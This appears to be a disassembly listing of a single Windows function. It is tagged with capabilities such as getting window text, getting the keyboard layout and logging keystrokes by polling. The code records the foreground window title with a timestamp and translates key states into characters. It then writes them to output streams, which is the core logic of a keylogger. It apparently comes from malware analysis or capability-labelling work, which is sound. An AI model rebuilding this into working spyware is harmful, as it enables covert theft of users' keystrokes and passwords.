Function at 0x401670
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x320], ecx
mov edx, 8
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream_std::_Ios_Openmode_
mov eax, dword [rbp + 0x320]
cmp eax, 1
je 0x4016bd
mov eax, dword [rbp + 0x320]
cmp eax, 2
jne 0x4016c7
mov ebx, 0
jmp 0x4019f7
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f8], 0
cmp qword [rbp + 0x2e8], 0
je 0x401722
mov rax, qword [rbp + 0x2e8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x2e4], eax
mov eax, dword [rbp + 0x2e4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2e8], 0
je 0x40181a
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x2e8]
mov r8d, 0x100
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp - 0x20]
lea rdx, [0x0040a2a0]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x40181a
lea rax, [rbp - 0x20]
mov rdx, rax
lea rcx, [0x0040a2a0]
call sym.strcpy
mov ecx, 0
call sym.time
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0xe8]
mov rcx, rax
call sym.localtime
mov qword [rbp + 0x2d8], rax
mov rdx, qword [rbp + 0x2d8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._FT_X_z
mov edx, 0x40
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0xf0]
add rax, 0x10
lea rdx, str._n_n_Window:
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str.___at
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [0x0040705f]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rcx, [0x0040a260]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.end___const
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x320]
lea rcx, [0x0040a260]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.find_int_const
mov qword [rbp + 0x288], rax
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0x288]
mov rcx, rax
call method.std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.operator__std::_Rb_tree_const_iterator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_cha
test al, al
je 0x40188f
lea rdx, [rbp + 0x320]
lea rcx, [0x0040a260]
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.at_int_const__
mov rdx, rax
lea rax, [rbp + 0xf0]
add rax, 0x10
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x401970
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x2f6], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x4018f4
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
jne 0x4018f4
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0x1000
test eax, eax
je 0x4018fb
mov eax, 1
jmp 0x401900
mov eax, 0
test al, al
je 0x40190b
xor byte [rbp + 0x2f6], 1
mov eax, dword [rbp + 0x320]
mov ecx, eax
mov rax, qword [rbp + 0x2f8]
mov r8, rax
mov edx, 2
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyExA]
call rax
mov byte [rbp + 0x2f7], al
movzx eax, byte [rbp + 0x2f6]
xor eax, 1
test al, al
je 0x401957
movsx eax, byte [rbp + 0x2f7]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp + 0x2f7], al
movsx eax, byte [rbp + 0x2f7]
lea rdx, [rbp + 0xf0]
lea rcx, [rdx + 0x10]
mov edx, eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x290]
mov rdx, rax
lea rcx, [0x0040a080]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rcx, [0x0040a080]
call sym.std::ostream::flush__
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x2b0]
mov rdx, rax
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov eax, ebx
jmp 0x401a4f
add rsp, 0x388
pop rbx
pop rbp
ret